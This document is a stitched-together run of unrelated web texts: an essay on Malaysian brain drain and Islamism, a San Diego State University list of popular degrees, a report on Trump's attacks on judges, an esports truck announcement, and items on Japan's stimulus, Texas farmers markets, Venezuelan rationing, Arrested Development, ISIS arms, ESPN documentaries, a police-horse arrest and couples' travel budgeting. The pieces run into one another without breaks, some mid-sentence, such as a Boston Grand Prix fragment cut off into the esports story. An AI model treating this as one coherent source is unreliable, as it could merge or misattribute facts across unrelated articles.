Women given a choice of leaving their hard won careers to start a family — as Japanese culture and policy still expects mothers and wives to do virtually all the care-giving— would either leave the workforce entirely (depriving Japan of young, working-age adults) or stay on the career-track and never marry or have children. This naturally took away the incentive these women would have had to mobilise for gender-neutral parental leave, improved job protection and outright cultural changes that are more in line with the modern family. The result is Japan’s below-replacement birth rate and looming labour shortage (both from poor inclusion of women in the workforce and replacement working-age adults to fill the gap).
Connecting this to the Malaysian context, at least since the late 80s, the country has faced a gnawing “brain drain” on its workforce. Young, foreign-educated Malaysians who find better work and living opportunities abroad have increasingly chosen to move away from the country entirely. At least in the beginning, there was an impression that most of the people who left were non-Malays, in response to pro-Malay affirmative action policies that hindered career mobility, as well as the government’s discriminatory promotion of Malay culture and conservative Islamist thinking over other viewpoints.
When the government began realising that there were not enough specialised professionals returning home to fill vital industries (medicine being one of the most acutely shortchanged sectors), the Malaysian administration set up TalentCorp, an agency tasked with wooing back young professionals in the diaspora back home. All the tax credits and lifestyle allowances in the world, however, do not erase the stigma of racial discrimination. During the boom years, this was less of a problem, as increased wealth opportunities spread far enough to create sufficient class mobility for most Malaysians (and fuel the limited exit of some).
You’ll note that I said “class” and not “social” mobility. One of the inverse effects of the boom years was the rampant cronyism that preyed on excess money in the system, and the growth of nested corporate groups with no easily discernible owner. These two points are not necessarily exclusive of each other, as the recent implosion of 1MDB (and its spiderweb of connected shell firms) imply.
The boom years also provided a convenient veil for consecutive Malaysian administrations, beginning with Tun Dr. Mahathir Mohamad’s two decades in office, to cripple the independence of our judiciary, consolidate state control over the media, suppress political diversity and silence dissenters in civil society. In this increasingly oppressive intellectual atmosphere, the government courted conservative, pro-Malay, Islamist elements, further alienating the parts of the population most likely to exit given the chance — well-educated, middle-class working adults with globally-oriented perspectives.
At least by TalentCorp’s own admission, this exit is also increasingly transcending racial lines, which suggests that poisonous local politics, strident Islamism and affirmative action is also affecting Bumiputeras. When we consider that affirmative action policies have historically been pro-Malay, we run into the uncomfortable idea that the indigenous peoples of Malaysia would be even more disenfranchised, as the ruling class is formed of specifically Malay elites.
Obviously, not all Malays agree with affirmative action, embrace Islamist policy or support the traditional monarchy with its family ties in our democratic institutions, anymore than all non-Malays wish to exit. The real issue is the oppressive local atmosphere against diversity, whether this is greater freedom to worship, to marry or freedom of expression. None of this is helped by the entrenched bloodlines in our politics, and certainly not by how opaque those spheres of influence can be within the labyrinthine corporate groups overseeing our economy. We need more transparency across our political and economic spectrum before we can begin to mend the scars of racial dissonance.
Out of the myriad personal reasons Malaysians choose to migrate abroad, a larger picture also emerges of problems so deeply embedded into the nation’s psyche, it would require decades to fix and significant regime change. These include relatively philosophical issues, like rebuilding trust among our diverse communities, but are primarily the sum of smaller matters in government and laws. For example, dismantling the Islamist influence on our educational curriculum is part of a larger overhaul needed to promote a holistic history of Malaysia. This would be half the effort in divorcing said curriculum from pro-Malay alignment. Of the two, Islamism is the newer element, co-opted by Malay ethnocentrists as the presiding character of Malay culture.
How Malay nationalists have co-opted Islamist thinking into Malay culture is an essay in itself, and one I won’t go into detail here. For a good primer on the subject, I suggest the CPI white paper, “The Islamisation of Malaysia: Religious nationalism in the service of ethnonationalism.” Part 1 of this paper is an overview of Islamist creep into Malaysian policy. Part 2, the part relevant to what I’ve said above, is an overview of how Islamism has altered our public education syllabus, particular secondary school History, and rendered it so pro-Malay as to be virtually xenophobic.
Creating a narrative where the start of all Malay identity relevant to modern Malaysians is the arrival of Islam in the 14th century does a great disservice to a far older, far richer, and far more diverse history of our country. It’s like trying to begin the history of the United States with European settlement and skipping the thousands of years of South American civilisation, not to mention the indigenous peoples of North America.
Malay nationalists who take on the mantle of Islam to give themselves relevancy are analogous to White nationalists in the US who use the mantle of Christianity for the same purposes. Both groups espouse conservative, isolationist ideology that depend on keeping their supporters closed off and deaf from wider world issues.
As a religious faith, Islam has been a significant influence on regional culture since the 15th century. The vested power of regional sultans as their states’ religious heads has historically gone unchallenged, even when these traditional sultanates have had to cede power to popular government. Malaysia’s sultans are not exempt in this. Each of our Sultans is still the head of Muslim affairs in his state. Our status as a constitutional monarchy symbolically holds up our King as central to social order (in an explicitly Muslim Malay kingdom). Malay culture in this sense should encompass language, adat (customs) and traditions —both Islamic-influenced and otherwise.
By shifting the focus onto a pan-Islamic identity, Malay nationalists have also shifted the focus of Islamic leadership, and thereby Islamic diversity, within Malaysia. This shifts the focus of Malay cultural leadership from the monarchy and into the hands of individuals, including those in the ruling government, who over the past three decades have spared no expense in ensuring Islamism’s narrow, puritanical culture becomes the official Islam.
What makes this startling is that the same Malay aristocracy who have embedded themselves in our elected administration are often the same people who have been expanding this influence, all the while benefiting from their positions among the Malay elite. This snake-eating-its-own-tail formula should not be able to survive, but it has. The same Malay elite (and their cronies) who have kept their tendrils in Malaysia’s engines are in practice the same people borrowing Islamism’s wrapping paper to convince their subjects how much more relevant they are than before.
In practice, Malaysia’s moneyed politics cripples our country’s ability to develop an independent national identity and a truly popular government. It mires our economy in corporations so complex, they become too big to fail. And as the wheels turn, it creates a ruling class so widely connected, corruption touches everybody.
The second part of my essay will get into more detail about how I think pan-Islamic identity, vis-à-vis Islamic revivalism, is supplanting the Malay nationalism that embraced it to create a no less divisive form of politics. Overlaid on the deep corruption within our political culture, the moral smokescreen of being “more Islamic” is cynical and destructive to not just the various Islams representing Malaysia, but towards our entire multi-ethnic community.The most popular degrees among this year's graduates represent a wide variety of academic disciplines on campus.
Top 10 Degrees for 2017
SDSU announces the 10 most popular degrees for the Class of 2017.
By SDSU News Team
More about commencement
San Diego State University offers bachelor's degrees in 91 areas, master's degrees in 78 areas and doctorates in 22 areas. More than 10,000 graduates will walk across the stage at Viejas Arena during commencement weekend to accept their diplomas. The most popular degrees among this year's graduates represent a wide variety of academic disciplines on campus. Here are the top 10 degrees of 2017:As students, these 188 graduates studied either communication studies or health communication. Graduates have developed solid verbal and written communication skills and are prepared for positions in corporate business, community affairs or government.Economics majors analyze the ways in which societies decide what to produce, how to produce it, and who receives it. The 198 students who are graduating with this degree will go on to careers in a variety of sectors including government, law and non-profit organizations.These 201 graduates are leaving SDSU with a custom degree they themselves designed with guidance from advisers. The degree allows students to combine classes from three different departments and is ideal for students whose career goal or academic interest is not addressed by an existing SDSU major or major/minor pattern.The 203 graduates in this discipline have spent their college career questioning how things work and developing ideas and solutions to make processes and things more efficient. They are prepared to work on diverse problems that require the integration of design, mathematical and analytical skills.The Charles W. Lamden School of Accountancy will graduate 232 students. The school has one of the top 10 pass rates among large universities in California for first-time takers of the Certified Public Accountant exam. Students graduating with an accounting degree are qualified for careers in corporate or public accounting, as well as tax, financial planning and auditing.The 256 graduates in this major are leaving SDSU with an understanding of buyer and seller behavior. They know how products and services are developed, priced, promoted, distributed and sold, which prepares them for careers as brand, market or sales managers, analysts and account executives.These 265 graduates are prepared for jobs in a broad range of medical, commercial, and educational environments. They also meet the academic requirements necessary for entry to postgraduate education for physical therapy, chiropractic, and podiatry schools, such as SDSU’s physical therapy doctorate program.Using the resources of the Corky McMillin Center for Real Estate, the Center for the Study of Personal Financial Planning and the Wells Fargo Financial Markets Laboratory, these 279 graduates have learned to hone in on specific calculations. Among their talents are administration of funds and loans, buyer and investor relations, financial management, protection of assets and tax administration.These 383 graduates are ready for careers in federal, state and local law enforcement and may work in probation, parole, corrections and other social service agencies. Through SDSU’s criminal justice program, graduates have gained an in-depth understanding of all facets of crime, delinquency and crime control as well as a foundation for critical, balanced, responsible and effective administrative responses.This year, SDSU’s Department of Psychology is sending 481 graduates into the workforce. They studied human behavior and mental processes and participated in hands-on field experiences, internships and undergraduate research. SDSU’s psychology department ranks third among California universities in funding from the National Institutes of Health—the field’s primary funder. Psychology graduates pursue careers in a wide range of fields, including law enforcement, government agencies and health care.Please visit SDSU’s Commencement website for additional information.Go behind the scenes of SDSU commencement by connecting with the university on social media.Tune into SDSU’s Facebook page and Snapchat (@sandiegostate) prior to each ceremony to see videos and photos of graduates.Follow SDSU’s Twitter and Instagram accounts to see tweets and photos posted by students, faculty and staff.Trump's Criticism Of Judges Out Of Line With Past Presidents
Enlarge this image toggle caption Saul Loeb/AFP/Getty Images Saul Loeb/AFP/Getty Images
Americans are used to the hurly burly of political and legal debate. But presidents historically have been careful about criticizing individual judges or their motives.
However, President Donald Trump tweeted and railed against the judges who have ordered a temporary halt to his ban on people entering or returning to the U.S. from seven mostly Muslim countries.
The president's rhetoric left many lawyers and historians on both the right and left aghast, or at least scratching their heads.
Trump's fighting words
In the space of one week, President Trump has belittled all four judges who have ruled against him so far in the travel ban case. He referred to Judge James Robart, a George W. Bush appointee who temporarily suspended the travel ban, as a "so-called judge" whose decision was "ridiculous." In a three-part tweet, Trump added, "If something happens, blame him."
When the case was heard by an appeals court panel, Trump told a group of police chiefs that even a "bad high school student" could understand the ban was authorized by law.
"Courts seem to be so political and it would be so great for our justice system if they would be able to read a statement and do what's right," he said. "And that has to do with the security of our country."
The next night when the appeals court judges, including another Republican appointee, ruled unanimously against him, Trump responded combatively.
"It's a political decision and we're going to see them in court," Trump said.
Presidents, for the most part, avoid public feuds with courts for a practical political reason.
"Trump's statements are extremely self-defeating," observes Josh Blackman, a constitutional law professor at South Texas College of Law Houston.
"The more he says the courts are biased or will rule against him because they're stupid," comments Blackman, "it subconsciously increases the chances that they will rule against him."
The history of presidential restraint
There is a more serious reason Trump should avoid criticizing judges too, Blackman says. Under the U.S. system of three branches of government, the judicial branch — the courts — ultimately are the checks on the legislative and executive branches when they exceed or even abuse the limits of their power.
Understanding that, presidents going back to the founders have largely refrained from personal attacks on judges. President Thomas Jefferson, for instance, avoided publicly berating Chief Justice John Marshall about decisions limiting the power of the executive and the legislature.
"Jefferson spoke privately about what he called Marshall's 'twistifications' of the law, but he didn't do it publicly," says James Simon, the author of four books about the court and the presidency.
Jeff Shesol, author of a book about President Franklin Roosevelt's infamous court packing plan, makes a similar observation about the New Deal president. Roosevelt tried and failed to increase the number of Supreme Court justices so he could appoint more who agreed with him.
"Privately, Roosevelt was very bitter about his treatment at the hands of the Supreme Court," Shesol explains. "But even at the height of the court fight, he never allowed it to get personal in the way we have heard recently from Trump."
Modern presidents
Modern presidents have followed a similar path. For instance, President George W. Bush was hardly pleased when the Supreme Court repudiated the system the Bush administration set in place for dealing with "enemy combatants" captured in Afghanistan and elsewhere.
After the Supreme Court ruled that prisoners at Guantanamo Bay had the right to challenge their detentions in court, Bush said tersely, "We'll abide by the Court's decision. That doesn't mean I have to agree with it."
President Barack Obama was widely criticized in 2010 for similar remarks about a campaign financing decision, mainly because he chose to comment at his State of the Union address, which the justices attend. Days later, Chief Justice John Roberts said the State of the Union had "degenerated into a political pep rally."
The tradition is that while presidents are free to criticize court decisions, they should avoid personal attacks on judges. Why? Because judges have no actual power. They have no power of enforcement, no troops to carry out orders, no power of the purse.
Balance Of Power: How Much Can The President Change?
Which gets at the ultimate worry about Trump.
Our system of laws depends on not just lowly citizens, but presidents as well, abiding by court rulings. Throughout our history, the Supreme Court has been inserted into national crises, often preventing presidents from doing what they want to do. Indeed, sometimes the Supreme Court's verdicts are not vindicated by history. And yet, presidents have complied with those rulings.
Less than a month into Trump's presidency, many leading lawyers and scholars are worried. Professor Blackman fears that if Trump's nominee for the Supreme Court Neil Gorsuch is confirmed and ends up ruling against the president, the next Trump nominee would be "a crony."
Others wonder what would happen if the mercurial Trump loses the travel ban case or another big one. Would he be so sure of his cause that he would refuse to comply?
That would undoubtedly provoke a constitutional crisis. Refusal to obey a Supreme Court order would normally be grounds for impeachment.
But author Shesol worries that in "our hyper-partisan environment, there's an open question whether the president's own party in Congress would actually stand up and say, 'This is unacceptable. This is grounds for impeachment.' "The lead sponsor of the Grand Prix of Boston is revoking its name and |
this summer with Esports Arena Drive, a 53-foot customized truck that can transform into an esports stage in a few hours, Esports Arena announced Wednesday.
The truck, called Esports Arena Drive, will transform into an esports stage and studio in less than two hours and will include a competition stage, production facilities and a lounge, among other features.
“Esports Arena Drive will be able to connect our existing [arenas] to all regions across the country, launch nationwide tours, amplify existing esports events, and even bring esports to non-gaming events in one streamlined operation,” Paul Ward, co-founder and CEO of Esports Arena, said in a statement. “Esports Arena Drive will provide a new and unique experience to the North American esports industry.”
Ward confirmed to theScore esports that there will be no title limitations for Esports Arena Drive. Event dates and locations will be announced at a later date.
The North American truck is modeled after Big Betty, a similar truck operated in Europe by Esports Arena's sister-company ELC Gaming. That truck made its debut at gamescom 2016. The rig hosted the $25,000 Euro Esports Superstars Hearthstone tournament in December, which was won by Thijs "Thijs" Molendijk.
Preston Dozsa is a news editor for theScore esports. You can follow him on Twitter.Japan’s Prime Minister Shinzo Abe speaks during a press conference at the prime minister’s official residence in Tokyo on January 11, 2013.
Photo by KAZUHIRO NOGI/AFP/Getty Images
Shinzo Abe’s effort to restart Japan’s long-stalled economy took another step forward yesterday with the announcement of a 10.3 trillion fiscal stimulus plan (that’s about $100 billion) paired with renewed talk of monetary easing:
Mr. Abe also reiterated pressure on Japan’s central bank to make a firmer commitment to stopping deflation by pumping more money into the economy — a measure the prime minister says is crucial to getting businesses to invest and consumers to spend.
“We will put an end to this shrinking, and aim to build a stronger economy where earnings and incomes can grow,” Mr. Abe told a televised news conference. “For that, the government must first take the initiative to create demand, and boost the entire economy.”
Given the track record of Japan’s LDP and past fiscal stimulus efforts I think it’s reasonable to believe there’s going to be a lot of pork and waste in this package. But what Abe seems to be showing throughout his brief second tenure as prime minister is what Ben Bernanke wants called “Rooseveltian Resolve.” He’s determined to use every channel available to him—whether that’s currency depreciation or deficit spending or expectations-targeting by messing with the Bank of Japan—to get things moving. It’s exactly the kind of spirit the rest of the world needs to learn from.Last week marked the debut of a new Texas law that will allow vendors at farmers markets to offer food samples and cooking demonstrations to their customers.
If you prefer to treat this as purely good news, be my guest.
But if you're left to wonder something along the lines of, Why the hell didn't Texas law permit vendors to offer food samples and cooking demonstrations in the first place?, then you and I are largely on the same page.
Still, there are two larger points worth making here. First, Texas is hardly alone in having such inane laws on the books. Second, Texas is actually taking major steps to deregulate food sales in the state.
As for the first point, a report commissioned by the nonprofit I lead, Keep Food Legal, and published last year by the Harvard University Food Law and Policy Clinic, found regulations pertaining to farmers markets in several states increased the costs for vendors but provided little if any additional benefit to consumers.
Two years ago I blogged here about a New York State law that effectively served to bar cheesemongers selling at farmers markets from providing potential customers with samples or even cutting cheese to order.
At the time, New York farmers and other vendors lamented that the law would put them out of business by "subjecting them to similar rules as delis or grocery stores," requiring them to have access to running water--an exceedingly difficult and costly proposition for someone selling cheese on the street from atop a folding table.
The controversial New York State law was temporarily rescinded and became the subject of state hearings. The New York law apparently is no longer in force.
Unfortunately, though, it appears the new Texas sampling law may be in the crosshairs of state public health regulators.
"As delicious as those samples may be, health officials are saying the sampling and cooking in farmers markets could be harmful," reports news station KXXV. "This has prompted discussion about possibly regulating farmers markets just like restaurants come 2014."
That would be a terrible step backwards for farmers market vendors and their customers--and for a state that deserves lots of credit for being perhaps the best in the nation in recent years at deregulating food sales by small producers.
I've written recently about tangible steps Texas has taken to deregulate craft beer sellers and other brewers.
The Texas state legislature also deserves credit first for passing a Cottage Food Law and then for revising and improving the law. As I've noted previously, some Cottage Food Laws, state laws permitting people to sell some foods prepared in their homes, are better in theory than in practice. Texas legislators got their state's law wrong the first time around, but then found ways to improve it.
But Texas can still do more.
As I noted in my craft beer column, for example, even after its most recent reforms, the state still does not allow breweries to sell to-go beer growlers to customers.
Texas's deregulatory climate is great for small food businesses and their customers. The state legislature has shown that it can strike down or revise bad laws and pass good ones. Let's hope that trend continues.CARACAS (Reuters) - A Venezuelan state is testing a system to limit purchases of food and other staples, local media reported on Tuesday, in a move that officials defended as necessary to stop contraband trade but opposition critics slammed as Cuban-style rationing.
Venezuela's President Nicolas Maduro gestures after being sworn into office in Caracas April 19, 2013. REUTERS/Carlos Garcia Rawlins
The OPEC nation’s consumers have for months had to endure long lines or visit several stores to find basic products that run the gamut from toilet paper to butter, driven in part by a lack of hard currency to ensure imports.
The state of Zulia in western Venezuela said it will launch a pilot program next week that uses a digital system to block shoppers from buying the same staple products at different stores on the same day.
“Considering the average size of a family, one person should only buy 20 staple products during the period that we establish, which we think will be one week,” Blagdimir Labrador, an official with the Zulia state government, told the newspaper Panorama in an interview published on Tuesday.
Venezuela’s price control system leaves the cost of basic products such as rice and flour considerably below their market value, creating a temptation for consumers to buy them in large quantities and resell them during shortages.
The business is even more lucrative in border states such as Zulia, which neighbours Colombia, because shoppers can buy goods and resell them across the frontier where they trade for several times the subsidized Venezuelan price.
Products to be covered by the system include rice, milk, toothpaste and diapers. The pilot program is to be carried out in 65 supermarkets in Zulia’s capital Maracaibo and the neighbouring municipality of San Francisco.
Supporters of the system credit the late leader Hugo Chavez for creating welfare programs that keep groceries cheap for the poor as part of his self-styled socialist revolution that his protégé and designated successor Nicolas Maduro has vowed to continue.
Opposition leaders say the nagging shortages are a sign that the Chavez-era state-led model of price controls and frequent nationalizations is running out of steam. They sometimes compare the system to that
“We cannot allow the government to use our state to create a Cuba-style rationing system,” said opposition legislator Elias Matta of Zulia. “This shows the failure of 21st century socialism.”About Arrested Development
Arrested Development is a ground-breaking sitcom that originally aired 53 episodes over three seasons from November 2, 2003 to February 10, 2006 on FOX. Since cancellation it has developed a cult following and its popularity has grown - a fourth season was released in 2013 and the first eight episodes of the fifth season released on Netflix on May 29, 2018.
The series follows family man Michael Bluth as he tries to keep his family and business from collapsing after his father George is sent to prison for embezzling money. As the family adjusts from riches to rags Michael helps his mother Lucille keep up appearances, sister Lindsay and brother-in-law Tobias with their failed marriage, son George Michael and niece Maeby through adolescence, and brothers Buster and G.O.B. adjust to working life.
Never seen Arrested Development? We've compiled a First Time Viewer's Guide to Arrested Development so you can see what the hype is all about before you dive in.
Cast & Characters
Michael Bluth Lindsay Bluth G.O.B George Michael Maeby Fünke Buster Bluth Tobias Fünke George Bluth Lucille Bluth Narrator Jason Bateman Portia de Rossi Will Arnett Michael Cera Alia Shawkat Tony Hale David Cross Jessica Walter Jeffrey Tambor Ron Howard
Season Five
The first part of Season Five of Arrested Development was released May 29, 2018 and the rest will be released March 15, 2019 on Netflix. The first eight episodes are currently available. The entire original castreturned and appeared collectively together more frequently than in the previous season to solve the murder of Lucille 2.
Arrested Development - Season 5 Official Trailer HD Netflix
Season Five Netflix Premiere
The cast and crew of Arrested Development were in attendance on the evening of May 18, 2018 for the Netflix Premiere of Arrested Development Season Five in Los Angeles, California.
Fifteen years ago on Novermber 2, 2003, Michael decided to take a job in Phoenix, Arizona after being passed over by George Sr. for head of the Bluth Company. George Sr. is jailed, and the family realizes they need Michael.
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Ron Howard Interview Arrested Development Season 5 Portia de Rossi on Why She Quit Acting 'Arrested Development' cast supports Tambor Will Arnett And Tony Hale Return For More ‘Arrested Development’ TODAY Alia Shawkat & Jessica Walter on Arrested Development, dentures, and nuclear war London Live Jason Bateman Breaks Down His Most Iconic Characters GQ
Recent ActivityBAGHDAD, Iraq – The Islamic State (ISIS) is being supplied with weapons through planes landing in areas controlled by the militants, the head of Iraq’s security and defence committee said.
“Some countries are delivering weapons to ISIS by using airplanes in Tel Afar airport, near Mosul,” Hakim Zalmi said.
“I am asking the Iraqi air force to shell Tel Afar airport, together with any other airports under the control of ISIS in Iraq,” he added.
His comments come after a Russian plane landed in Baghdad last week with a cargo of weapons and ammunition. That is being investigated by a committee, which is looking into the origin of the weapons.
“The plane that landed in Baghdad last week was filled with weapons, and it was not the first plane to land, breaching Iraqi air space,” Zalmi said. “An investigation is still ongoing regarding that case,” he added.
The Russian plane carried 40 tons of weapons and ammunition and attempted to land at Sulaimani airport. It landed in Baghdad after being refused permission.I go to film festivals to see the kind of idiosyncratic, personal movies big Hollywood studios rarely make anymore. But for the last 15 months, I've been watching a wonderfully engaging film festival with passionate and provocative movies on TV, courtesy of the most unlikely of cinematic patrons: ESPN.
Yes, the sports network is annoyingly obsessed with LeBron James. But it has quietly pulled off a stirring creative coup, bankrolling “30 for 30,” a series of 30 documentaries about people who aren't necessarily household names or “SportsCentury” icons but who were central figures in modern-day athletic stories with wide cultural reach and social impact.
If you missed the films on ESPN, they're available on iTunes, video on demand and DVD. The series features docs from such prominent Hollywood filmmakers as Peter Berg, Barry Levinson, Ron Shelton and Ice Cube as well as from such documentary notables as Albert Maysles, Steve James and Dan Klores.
Many of these films have packed a wallop, offering stories full of emotion, wry humor and personal reflection. Brothers Michael and Jeff Zimbalist delivered “The Two Escobars,” a fascinating look at the interconnected lives and deaths of Colombian soccer star Andres Escobar and drug kingpin Pablo Escobar. Levinson's “The Band That Wouldn't Die” recounted the story of his hometown Baltimore Colts marching band, which stayed together even after their team left for Indianapolis under the cover of night.
Having grown up as a die-hard Raiders football fan when the team played in Los Angeles, Ice Cube used “Straight Outta L.A.” to show how much the team's bad-boy image influenced the burgeoning hip-hop culture. Steve James, who grew up in the same Virginia town as basketball star Allen Iverson, directed “No Crossover: The Trial of Allen Iverson,” an unsparingly personal portrait of the gulf between blacks and whites in Hampton, Va., after Iverson allegedly hit a woman over the head with a chair in a 1993 bowling alley brawl and was convicted of a felony (later overturned).
What makes the series worth celebrating is not just its pedigree, but also the creative autonomy ESPN gave its filmmakers. In franchise-focused Hollywood, even our best filmmakers are largely at work on sequels and remakes: Brad Bird is making “Mission: Impossible 4,” Darren Aronofsky is doing “Wolverine 2” and Marc Webb, who did the indie delight “(500) Days of Summer,” is directing “Spider-Man 4.” Even the free-spirited Johnny Depp keeps making “Pirates of the Caribbean” sequels.
“30 for 30,” which was launched in fall 2009, has gone in the opposite direction. When ESPN columnist/blogger Bill Simmons pitched ESPN executive producer Connor Schell on the idea of commemorating the network's 30th anniversary with a series of documentaries, one key idea was embedded in the DNA of the project. “ESPN always had a vision that this would be filmmaker-driven,” said Mike Tollin, a supervising producer on the series who also directed “Small Potatoes: Who Killed the USFL?” which is included in a box set of the first 15 documentaries that goes on sale Tuesday. “They really looked to the filmmakers to generate the ideas for the stories.”
Sometimes the films feel like dramatic features. Levinson's “The Band That Wouldn't Die” has the air of a Frank Capra film, full of the kind of quirky, blue-collar characters missing from studio teen comedies or superhero thrillers. They sit around swapping stories straight out of a Preston Sturges film, as with the account of how when the team's equipment was shipped to Indianapolis in moving vans, the band's uniforms were accidentally left behind and held for safe keeping by the musicians in a local mausoleum.
Though Levinson is known for Oscar-winning films such as “Rain Man” and “Bugsy,” perhaps his best-regarded Hollywood work involved a string of personal comedies dating back to “Diner” and “Tin Men.” When I asked him if he could make those kinds of films today, he offered a one-word answer: No. He wouldn't dream of pitching the idea of a marching band without a team to a modern-day studio chief.
Why not?BOSTON (Reuters) - A Massachusetts man was arrested for trying to punch a police horse in the face at a street festival, according to Worcester police.
The incident occurred on Saturday when police were responding to a disturbance at a beer tent at the street festival in the city, located about 40 miles (64 km) west of Boston. The man, 59-year-old Donald Pagan, tried to walk between a column of police horses when officers asked him to stop.
“Pagan stepped to the side of the horse and got into an aggressive posture by quickly raising his fist in an attempt to punch the horse in the face,” police said in a statement late Monday. “The horse instinctively jumped back and away from the male which caused a hazard to Mr. Pagan, the officer and to the horse.”
Pagan was charged with assault and battery on a police officer, resisting arrest and interfering with a police horse.
Pagan could not be reached for immediate comment.Your first vacation with a significant other is a huge step toward "being serious". Here's how to come out on top, with both your relationship and your wallet.
Ask ten people what their idea of a perfect vacation is and you’ll get ten different answers. Ask ten couples the same question and you’ll get infinitely more.
For some people, vacation is all about adventure–exploring parts unknown and cramming activities into every last minute of every jam-packed day. For others it’s a chance to escape from the everyday–to unplug from the world and revel in complete inactivity.
Whether your ideal vacation involves diving off a cliff into the ocean or diving into a stiff drink in a metropolis, traveling as a couple means you’re going to have to consider what someone else wants. That means compromise. Since your annual vacation days are both precious and few, you want to be sure to get as much out of them as you can.
In a long-term relationship, especially if you live together, traveling gives you a chance to spend time together outside the context of your normal workaday lives. For newer relationships, your first big trip as a couple is a significant milestone and might just signify the transition from casual to serious. It can also give you a useful glimpse of what your domestic lives may someday hold if matrimony is potentially on the table. If you can’t get along for so much as a weekend at a bed & breakfast together, it’s a long shot you’ll be able to spend a lifetime of ups and downs with that person.
We’ve covered some other jetsetter essentials such as traveling in style and packing like a pro, so be sure to also read these posts before hitting the road or jetway for a complete view of how to up your travel game.
You’ll save yourself a lot of aggravation at the outset if you prepare for the unexpected, have backup plans, and commit to not letting it ruin your trip if you get in an argument or if something doesn’t go your way. It happens. People tend to have an unnatural expectation that everything on vacation is supposed to go according to plan and be like the perfect honeymoon. Very often the opposite is true, and that’s ok.
How to pay for it
No matter how much like paradise your vacation feels, the bill still comes due when you get home. Unless of course you’ve paid for all or most of your trip ahead of time. Which is totally possible with a little advance planning.
For newer couples, a joint vacation could be the first real financial decision you make together. If you’re open about each other’s finances, it shouldn’t be too difficult to divvy up vacation expenses based on your respective incomes. If you’re already living together, the same math you use to divide household expenses should also work here.
There are a million ways to cut corners on a vacation, but some cuts go much deeper than others. Remember: this is your vacation together, so it shouldn’t be looked at as a race to the bottom. If ever there was a time to splurge a little it’s now. But there’s a prudent way to splurge and a haphazard way, and there is usually a price to pay when you skimp on vacation, especially when you’re looking for a romantic getaway.
For every $50 you save on flights or hotels, little inconveniences or annoyances start to creep in. If you book a stay at the cheapest acceptable hotel with the cheapest possible flight to your destination, you can expect at least one layover, and a so-so hotel, usually no closer than 10 miles to the city center, so you’ll need a rental car or rely on public transit or taxis if you don’t know any locals.
I’ve talked about the pitfalls and potential of using credit cards before, and vacation planning is a great time to either follow or completely reject my suggestions. If you’ve saved for the trip and can pay off the card right away, it’s a great chance to earn a nice chunk of points or bonus cash. I’ve also extolled the virtues of joint checking accounts and how couples can use them to their advantage by rounding up to the nearest $10 deposits made for bills and then siphoning off the excess at vacation time.
Gift-giving holidays like Christmas and Valentine’s Day are a great exercise in giving up something now in exchange for a much greater return later. If instead of exchanging gifts you both make a deposit to your joint account equal to the amount you would have spent, you would instantly fortify your vacation savings with another few hundred bucks. If you both decide to do without birthday presents as well, you’ll beef up the vacation fund even more. A little delayed gratification goes a long way when you’re planning a trip you will remember forever. One video game or a cheap pair of gold earrings can easily equal the cost of a romantic dinner for two.
And really which would you rather have: Some gifts you both scrambled to find at the last-minute, or a better romantic vacation?
How to get there
Driving and flying both have their own drawbacks and advantages. Flying is obviously much faster and you can go farther, but it’s pricier, especially when you factor in the need for public transit, rental cars or taxis. Driving can be a more wallet-friendly option with gas prices where they are going into the summer.
As the price of flying has soared, technology now allows us to mine huge databases and spit out the cheapest possible fare without a travel agent. Meta search engines can help cut through some of the seemingly endless lists of deals offered on flights and hotels from price aggregating websites.
If the actual destination is less important than just being there, Skyscanner allows you to pick the closest departing airport and see a list of destinations based on price, both domestically and internationally. So if the goal is to get out of town and see the world, this is a great way to do it on a budget. You can even set up email alerts for fare drops on specific routes. Trivago does the same thing but for hotels, comparing prices on scores of other travel sites.
If you do plan on getting to your destination by air, expect plane tickets to take up at least 30-50 percent of your budget. But factors as simple as when you buy can mean the difference of hundreds of dollars depending how far you’re traveling.
A 2015 study conducted by Expedia and Airlines Reporting Corporation shows that you’re likely to get the lowest fare buying plane tickets on a Tuesday than any other day of the week. They also reported the cheapest time to buy a ticket on a domestic flight is 57 days ahead of time, and 171 days before international flights.
The study shows using this timetable results in a per-ticket savings of approximately $95 for domestic flights and $340 for international flights compared to the average prices throughout the year. So knowing your plans well in advance could save you some serious coin. Most hotel deal aggregator websites also give the option of buying nonrefundable tickets, so if your plans are absolutely iron clad you can usually save another $15-20 a night.
These days unless you’re a frequent traveler heavily invested in a specific carrier’s loyalty program, you very likely buy the cheapest tickets you can get your hands on that don’t include flying with crates of live poultry. But don’t just pounce on the lowest fare returned by whatever search engine you use. Carefully compare departure and arrival times as well as any layovers and consider the real cost of those discounts.
Flight A might cost $35 per ticket more than Flight B, but if Flight B includes a 4 hour layover and a 9:55 pm arrival time it could cost a whole lot more in aggravation and wasted time. And don’t forget to make sure your seats are together. It’s a big bummer sitting 9 rows apart from your significant other on a cross-country flight, and that way if the armrests between seats go up, your seats magically become a loveseat!
Packing as a couple isn’t the same as packing for yourself
Personally, unless it’s absolutely necessary I avoid checking luggage. For carrying on, an overnight bag does the trick rather nicely. But when traveling as a couple you’ll have to put a bit more thought into it.
I don’t think it’s controversial to say that men and women have different priorities when it comes to packing luggage. Now that airlines are charging hefty fees for overweight or extra checked bags (which can run as much as $100), packing smart is essential unless you have money to burn.
For starters, you can save weight in your luggage by wearing your heaviest shoes and outer layer on the flight. Shoes take up the most room in a suitcase by far, and assuming you bring a pair of sneakers and a pair of dress shoes and she brings 3-4 pairs of her own (or more), that’s a lot of space and weight in shoes alone. Except maybe in the event of a very long trip, a couple could probably get away with bringing only carry-ons for clothing and packing a separate bag to be checked containing these heavier items, as well as things like socks, underwear and toiletries. The weight limit for checked bags is typically 50 pounds per bag, so even the most ardent shoe and cologne enthusiasts would be hard-pressed to hit this limit using this method. No matter what, make sure to pack at least one day’s clothes in your carry-on bag. Just in case your checked bag gets lost or delayed en route you don’t want to be stuck without a change of clothes.
To rent a car, or not to rent?
Rental cars represent another double-edged sword in the game of travel. On the one hand, having pre-paid, always-available personal transportation is a huge convenience. But that convenience is gonna cost you. Forgetting the $25-50 per day cost for even an “economy” rental, if you’re staying in a city, many hotels charge as much as $20 or more PER NIGHT just for parking. Some even have mandatory valet for the same price or more. And that’s just at your hotel. You’ll also have parking garages and meters to contend with, and of course will be liable for any traffic or parking tickets you accrue on your trip.
Whether you’ll need a car depends in large part on the kind of trip you’re taking. If you’re spending a week lounging on a beach in a tropical paradise at an all-inclusive resort or in a city with a dynamite public transit system you can probably do without a car. But if you’re using the hotel as a hub and traveling between multiple points with some miles between them, a rental car might be a good idea.
